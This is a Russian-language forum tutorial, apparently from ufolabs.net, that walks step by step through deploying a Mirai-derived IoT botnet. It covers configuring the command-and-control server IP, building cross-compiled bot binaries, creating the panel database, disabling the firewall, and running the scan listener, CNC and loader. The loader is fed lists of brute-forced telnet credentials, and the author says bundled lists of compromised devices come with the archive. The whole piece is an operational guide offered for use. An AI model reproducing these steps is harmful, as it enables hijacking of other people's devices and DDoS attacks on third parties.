Поднимаем свой IoT ботнет на основе Mirai. Туториал на русском языке от fu11p0w3r специально для ufolabs.net
fu11p0w3r
В данной статье я хотел бы рассмотреть как почти что пошагово можно поднять свою ботсеть с IoT устройств на основе модификации исходного кода нашумевшего ботнета Мираи от некого Helix.
Начнем пожалуй с выбора и настройки нашего сервера, на котором будет крутится панель, хоститься бинарники и куда будут стучаться боты.
Я буду использовать VPS под управлением ОС CentOS 7
Краткие характеристики:

В принципе для начальных экспериментов этого должно хватить)
Для начала берем VPS и накатываем CentOS 7.
После того как подготовили сервак - проваливаемся туда через ssh используя любой подходящий для этого клиент. Ссылки я оставил в конце статьи

Провалились - хорошо, после этого нам нужно подготовить сорцы для заливки на сервер прописав его айпишник. Для этого лично мне удобно использовать notepad++.
Открываем main.go через notepad


и видим айпишник 7.7.7.7, его мы выделяем и нажимаем CTRL+F.
Появляется окно где мы переходим во вкладку Find In Files

тут мы нажимаем на ту хню и выбираем папку с сорцами

после этого прописываем в Replace with - IP адресс своего сервера и нажимаем Replace in Files.
Таким образом notepad производит рекурсивный поиск по папке с сорцами и заменяет дефолтный айпишик на наш, то что нам и нужно. Далее так же само, но вместо точек разделяем октеты запятой

После этого в открытом файле мы можем заметить что поменяется айпишник в 19 строчке на тот, который мы указали и так же советую поставить свой пароль на подключение к базе. Его мы будем указывать при создании БД по позже, не забываем это.

Закрываем файл сохраняя изменения. Далее копируем именно содержимое папки с сорцами в корень на сервер

В случае успеха увидим такую картину. Все файлы успешно залились на сервак

Дальше прописываем права на запуск файлов
chmod 777 * -R
Ну и начинаем инсталить нужные запуском скрипта install.sh
./install.sh
Видим что процесс пошел

В конце после скачивания кросс-компиляторов может показаться как будто оболочка подзависла, но это нормальное явление. Просто архивы с ними в фоне расспаковываются и нужно немного подождать

Фухх... Отпустило

Дальше нам нужно прописать расположение компиляторов и golang в глобальные переменные, а так же подтянуть 2 репозитория. Для того что бы не копипастить это в консоль каждый раз при новом запуске оболочки, мы открывает текстовым редактором файл .bashrc
nano .bashrc
и прописываем вконец эти команды:
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/armv7l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOROOT=/usr/local/go
export GOPATH=$HOME/Projects/Proj1
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords

После чего сохраняем, выходим и перезагружаем оболочку командой
bash -l
Если ошибок нет, значит ты все делал правильно, красавчик)
Далее настроим mysql и создадим нашу базу и пару таблиц.
Для начала нам нужно узнать временный пароль от рута, для этого пишем:
sudo grep 'temporary password' /var/log/mysqld.log
И нам выводит вот такой текст, где стрелкой отмечен пароль. Мы его копируем

Пишем в консоль
mysql_secure_installation
И вставляем свой временный пароль, после чего вводим новый тот, который мы указывали в файле main.go

Дальше если еще раз попросит, так же вводим новый пароль и повторяем его.
После чего на стандартные вопросы отвечаем Y и в случае успеха видим

Логинимся в mysql под рутом где указываем наш новый пароль
mysql -u root -p

Вошли

Далее просто копируем и вставляем эти sql запросы:
CREATE DATABASE Hilix;
use Hilix;
CREATE TABLE `history` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`user_id` int(10) unsigned NOT NULL,
`time_sent` int(10) unsigned NOT NULL,
`duration` int(10) unsigned NOT NULL,
`command` text NOT NULL,
`max_bots` int(11) DEFAULT '-1',
PRIMARY KEY (`id`),
KEY `user_id` (`user_id`)
);
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
`duration_limit` int(10) unsigned DEFAULT NULL,
`cooldown` int(10) unsigned NOT NULL,
`wrc` int(10) unsigned DEFAULT NULL,
`last_paid` int(10) unsigned NOT NULL,
`max_bots` int(11) DEFAULT '-1',
`admin` int(10) unsigned DEFAULT '0',
`intvl` int(10) unsigned DEFAULT '30',
`api_key` text,
PRIMARY KEY (`id`),
KEY `username` (`username`)
);
CREATE TABLE `whitelist` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(16) DEFAULT NULL,
`netmask` tinyint(3) unsigned DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`)
);
Теперь ниже где login, password - можете заменить на свой логин и пароль между кавычек. Это ваши данные для входа в панель и так же вставляем следом в консоль.
INSERT INTO users VALUES (NULL, 'login', 'password', 0, 0, 0, 0, -1, 1, 30, '');
exit;
В результате должен быть вывод

После рестартим mysql и apache и вырубаем firewall
sudo systemctl stop firewalld
sudo systemctl disable firewalld
sudo systemctl mask --now firewalld
sudo service httpd restart
sudo service mysqld restart
Далее открываем файл в текстовом редакторе, скролим вниз и меняем значение 1024 на 999999
nano /usr/include/bits/typesizes.h

Сохраняем, закрываем.
Ну и усе, компилируем сорцы)
./build.sh
Если все ок, увидим что то типо

Отлично!
Запускаем Listener, пока он слушает - на него будут боты присылать сбрученные телнет акки которые атоматически будут сохранятся в текстовый файл)
screen ./loader/scanListener
Сворачиваем комбинацией CTRL+A+D и поднимаем наш cnc
screen ./cnc
Тут мы сможем видеть подключение и отключение наших ботов)
Просто открываем вторую вкладку с сессией ssh для наших дел, что бы видеть что происходит в cnc не закрывая)
Ах да, кстати, что бы добавить новых ботов есть такая штука как loader
Лоадер можно кормить текстовыми файлами с аккаунтами в формате ip:port login:pass. Для примера можем скормить так сказать подгон от человека что слил данную можно сказать сборку, который находится в папке loader и выглядит так:

Для этого переходим в папку с лоадером и пихаем ему .тхт
cd loader
cat Gift_From_Reborn.txt | ./loader

Наблюдаем вкладку с cnc)

Так, теперь зайдем в панельку. Для этого берем Putty и подключаемся в данном примере на 45 порт методом RAW

Далее вводим логин и пароль который указывали при добавлении колонки в таблицу users в нашей БД, по дефолту логин: login, пароль: password

Ну и попадаем в нашу панельку)
Так же в папке присутсвует Hilix_payload.py . С помощью него автоматом сетупаются некоторые службы и генерится полезная нагрузка, которую потом можно пихнуть в брут и тем самым при каждом гуде и если сойдутся звезды на небе - выполнять пейлоад и тянуть на сбрученное устройство сразу же бинарники. Можно юзать, можно не юзать.
В итоге сервер подняли, настроили, поставили панель, подготовили скрипты/бинарники. Пока ботов особо нет - нужно самому брутить и нарасчивать, но это уже тема для другой статьи :)
Спасибо за внимание.
Ссылки:
ПЫ.СЫ в архиве я оставил папочку telnet со списками сбрученных устройств. Эти списки мы так же скармливаем в loader и имеем какой-никакой, но стартовый набор из ботов. Как говорится: "мелочь, но приятно" )
P.S.2 пароль я думаю не сложно догадаться какой) защита от дурачка, try harder bro!
Или смотри под хайд на уфо:)